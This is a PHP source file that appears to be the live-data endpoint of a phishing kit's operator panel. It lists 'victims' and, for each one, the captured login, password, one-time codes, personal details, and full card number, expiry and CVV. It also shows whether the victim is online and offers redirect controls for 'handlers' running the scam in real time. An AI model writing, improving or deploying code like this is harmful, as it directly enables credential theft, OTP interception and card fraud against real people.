<?php
include 'config.php';
include 'connect.php';
date_default_timezone_set('Europe/Dublin');
session_start();

if (!isset($_SESSION['loggedin'])) {
	die();
}


if($_SESSION['role'] == "Handler"){
	$username = $_SESSION['username'];
	$new_lastseen = time();
	mysqli_query($conn, "UPDATE handlers SET lastseen='$new_lastseen' WHERE username='$username'");
}





function truncateTextAndAddEllipsis($text, $maxLength = 30) {
    if (strlen($text) > $maxLength) {
        $truncatedText = substr($text, 0, $maxLength) . '...';
        return $truncatedText;
    } else {
        return $text;
    }
}

$query = mysqli_query($conn, "SELECT * from victims");
if($query){
	if(mysqli_num_rows($query) >= 1){
		$array = array_filter(mysqli_fetch_all($query,MYSQLI_ASSOC));
	}
}

$output = array();


foreach($array as $value){
	
	$badge = status_to_badge($value['status'], "status.json");
	$redirects = redirects_btn($value['status'], "status.json");
	$lastseen = check_online($value['lastseen']);
	$lastseen = "<td style='vertical-align:middle;'>$lastseen</td>";
	$browser_icon = useragent_to_browser($value['useragent']);
	$iname = $value['iname'];
	$ilogo = iname_to_ilogo($iname, $cfg_url);
	$crdz = str_replace(' ', '', $value['card']);

	$id = "<td style='vertical-align:middle;' scope='row'>{$value['id']}</td>";

	$ip = "<td style='vertical-align:middle;'>{$value['ip']}</td>";
	$useragent = "<td style='vertical-align:middle; text-align: left;'>$ilogo</td>";
	$user = "<td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' title='Click to copy'>{$value['user']}</td>";
	$pass = "<td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' title='Click to copy'>{$value['pass']}</td>";
	$otp = "<td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' title='Click to copy'>{$value['otp']}</td>";
	$qrotp = "<td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' title='Click to copy'>{$value['qrotp']}</td>";
	$personal = "<td data-micron='flicker' style='vertical-align:middle; cursor:pointer;' class='openinfoclass'>"
    . (!empty($value['name']) ? $value['name'] . ' | ' : '')
    . (!empty($value['address']) ? $value['address'] . ' | ' : '')
    . (!empty($value['dob']) ? $value['dob'] . ' | ' : '')
    . (!empty($value['phonenr']) ? $value['phonenr'] . ' | ' : '')
    . (!empty($value['email']) ? $value['email'] : '')
    . "</td>";
	$personal = rtrim($personal, ' | ');
	$ccinfo = "<td data-micron='flicker' style='vertical-align:middle; cursor:pointer;' class='openinfoclass'>"
    . (!empty($crdz) ? $crdz . ' | ' : '')
    . (!empty($value['exp']) ? $value['exp'] . ' | ' : '')
    . (!empty($value['three']) ? $value['three'] : '')
    . "</td>";
	$ccinfo = rtrim($ccinfo, ' | ');


	$status = "<td style='vertical-align:middle;'>$badge</td>";
	if(check_online($value['lastseen']) === "<code style='color:red;'><b>offline</b></code>" && $value['buzzed'] == 0) {
        mysqli_query($conn, "UPDATE victims SET buzzed = 1 WHERE id = '{$value['id']}'");
        $value['buzzed'] = 1;
    }
	$final = $id . $lastseen . $ip . $useragent . $user . $pass . $otp . $qrotp . $personal. $ccinfo . $status;

	array_push($output,  array('id' => 'row' . $value['id'], 'redirects' => $redirects, 'buzzed' => $value['buzzed'], 'info' => base64_encode($final)));
}



$removed_ids = file_get_contents('removed_ids.txt');


echo json_encode(array(
	'total_visits' => total_visits($conn),
	'total_victims' => total_victims($conn),
	'online_victims' => online_victims($conn),
	'active_handlers' => online_handlers($conn),
	'removed_ids' => $removed_ids,
	'victims' => $output
));

?>
